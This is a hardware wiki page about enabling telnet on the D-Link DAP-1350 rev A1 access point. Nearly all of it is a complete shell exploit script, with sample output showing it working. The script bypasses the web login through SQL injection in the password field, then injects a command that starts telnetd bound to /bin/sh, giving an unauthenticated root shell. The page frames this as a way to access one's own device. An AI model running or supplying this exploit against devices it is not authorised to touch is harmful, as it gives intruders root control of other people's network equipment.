D-Link DAP-1350 rev A1/Serial info

From TechInfoDepot
Jump to navigationJump to search
Serial info

Enabling telnet

A vulnerability was discovered in the stock firmware which allows arbitrary commands to be executed as root using HTTP POST requests to a CGI program.

A secondary SQL injection vulnerability also exists allowing one to bypass HTTP authentication.

telnet • >> 
#!/bin/ksh

# DAP-1350 telnetd, by brynet.
# This effect all stock firmware images for the device.
# Tested on OpenBSD.

host=$1
if [ $# -ne 1 ]; then
	echo "usage: $0 host or ip"
	exit 1;
fi
base_req="POST /my_cgi.cgi?0.2592357019893825 HTTP/1.1\r\n"\
"Host: ${host}\r\nConnection: keep-alive\r\n"\
"Content-Type: application/x-www-form-urlencoded\r\n"

# user_name=admin
# user_pwd=';select 1;--
login_cmd="request=login&user_name=YWRtaW4&user_pwd=JztzZWxlY3QgMTstLQ"
login_clen="Content-Length: $(echo -n ${login_cmd} | wc -c)\r\n\r\n"
login_req="${base_req}${login_clen}${login_cmd}"

echo $login_req | nc $host 80 | grep default > /dev/null 2>&1
if [ $? -eq 0 ]; then
	echo "Authenticated."
else
	echo "Failed."
	exit 1;
fi
telnetd_cmd="request=admin_webtelnet&cmd=/usr/sbin/telnetd%20-l/bin/sh"
telnetd_clen="Content-Length: $(echo -n ${telnetd_cmd} | wc -c)\r\n\r\n"
telnetd_req="${base_req}${telnetd_clen}${telnetd_cmd}"

echo $telnetd_req | nc $host 80 > /dev/null 2>&1
sleep 2; nc -z $host 23 > /dev/null 2>&1
if [ $? -eq 0 ]; then
	echo "Root shell, okey doke."
	telnet $host
else
	echo "No root.. sorry, heh."
	exit 1;
fi

Note: nc(1) may be installed as netcat(1) on some systems. Modify as necessary.

    $ ./exploit.sh dlinkap # 192.168.0.50
    Authenticated.
    Root shell, okey doke.
    Trying 192.168.0.50...
    Connected to dlinkap.
    Escape character is '^]'.
    ... motd/etc.
    #

The factory set root password is unknown, so no login(1) process is started.
You must run the exploit script each time the device is powered on.
Retrieved from "https://techinfodepot.shoutwiki.com/w/index.php?title=D-Link_DAP-1350_rev_A1/Serial_info&oldid=348306"